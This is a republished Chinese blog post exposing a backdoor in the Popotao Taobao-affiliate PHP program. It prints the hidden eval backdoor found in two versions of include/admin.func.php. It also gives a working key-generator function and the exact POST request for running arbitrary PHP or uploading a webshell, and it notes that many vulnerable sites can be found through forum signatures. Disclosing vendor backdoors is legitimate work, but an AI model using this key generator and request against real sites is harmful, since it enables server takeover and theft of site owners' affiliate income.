来源:自学PHP网 时间:2015-04-17 11:59 作者: 阅读:次
[导读] 泡泡淘是一个蛮不错的淘客建站程序,官方网址:http://www.popotao.com。本人就是他们的用户之一由于官方几个月不更新,跟不上淘宝API的更新速度,所以我想自己解决,把官方的6个ZEND加...
泡泡淘是一个蛮不错的淘客建站程序,官方网址:http://www.popotao.com。
本人就是他们的用户之一
由于官方几个月不更新,跟不上淘宝API的更新速度,所以我想自己解决,把官方的6个ZEND加密过的PHP文件破解了。结果发现了极其恶心的事情。
在include/admin.func.php文件的最下面,发现以下代码,这是2012年9月27日的版本。妈的,ZEND加密保护版权还有网站授权认证无可厚非。但是利用加密加入后门。就太可耻了。
1 if ( isset( $_POST['_tks'] ) && ( $tks = trim( $_POST['_tks'] ) ) )
2 {
3 $_tks = explode( "|", ~base64_decode( strrev( substr( $tks, 3, 5 ). substr( $tks, 8 ) . substr( $tks, 0, 3 ) ) ) );
4 if ( trim( $_tks[1] ) == "K_".date( "Y_m_d" ) && ( strpos( $_SERVER['HTTP_HOST'], trim( $_tks[0] ) ) !== FALSE || strpos( $_SERVER['SERVER_NAME'], trim( $_tks[0] ) ) !== FALSE ) )
5 {
6 eval( $_POST['tao'] );
7 }
8 exit( );
9 }
后来2月4号跟官方交涉,官方还死不承认,但是在之后的几个小时内。马上更新了补丁。也就是20130204的版本。还是信不过。继续解密。发现仍不思悔改。只不过提交的参数名变了。在程序里留个后门。对用户是多么的不负责。再次鄙视。后门代码还是include/admin.func.php文件里的最下面。
1 if ( isset( $_POST['_MDFK'] ) && ( $tks = trim( $_POST['_MDFK'] ) ) )
2 {
3 $_tks = explode( "|", ~base64_decode( strrev( substr( $tks, 3, 5 ). substr( $tks, 8 ) . substr( $tks, 0, 3 ) ) ) );
4 if ( trim( $_tks[1] ) == "K_".date( "Y_m_d" ) && ( strpos( $_SERVER['HTTP_HOST'], trim( $_tks[0] ) ) !== FALSE || strpos( $_SERVER['SERVER_NAME'], trim( $_tks[0] ) ) !== FALSE ) )
5 {
6 eval( $_POST['_HkBs'] );
7 }
8 exit( );
9 }
既然对用户这么不负责,那我只有公布泡泡淘的丑陋行径了。如果只是漏洞,可以不公布利用方法,但是这里是官方留下的后门。那就一定要给出利用方法。
里用原理就是提交一个字符串,然后通过了域名和时间的验证,顺利到达eval这里。活生生的一句话后门。不搞安全的可能不知道。我只需要说,有这句代码,控制你们网站的服务器。真的没什么问题。把PID什么的改掉。你的网站就帮别人赚钱吧。
01 function getfuckkey($domain = ''){
02 $time = 'K_'.date("Y_m_d");
03 //$domain = $_SERVER['HTTP_HOST'];
04 if ($domain) {
05 $key = $domain.'|'.$time;
06 $key2 = base64_encode(~$key);
07 $key3 = strrev($key2);
08 $k1 = substr( $key3, 0, 5 );
09 $k2 = substr( $key3, 5, -3 );
10 $k3 = substr( $key3, -3 );
11 $key4 = $k3.$k1.$k2;
12 return $key4;
13 } else {
14 return '';
15 }
16 }
17 echo getfuckkey('xiaosajie.com');
这样可以得到字符串,然后post方式,注意必须POST方式提交,提交到include/admin.func.php?_MDFK={key}&_HkBs=phpinfo()
就可以查看phpinfo();或者直接上传大马,随便了。
泡泡淘的用户很多,在官方论坛里,很多人的帖子签名都有网站。随便搞就是一大堆。
最后预祝大家蛇年行大运。4ngel给各位拜年了。
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com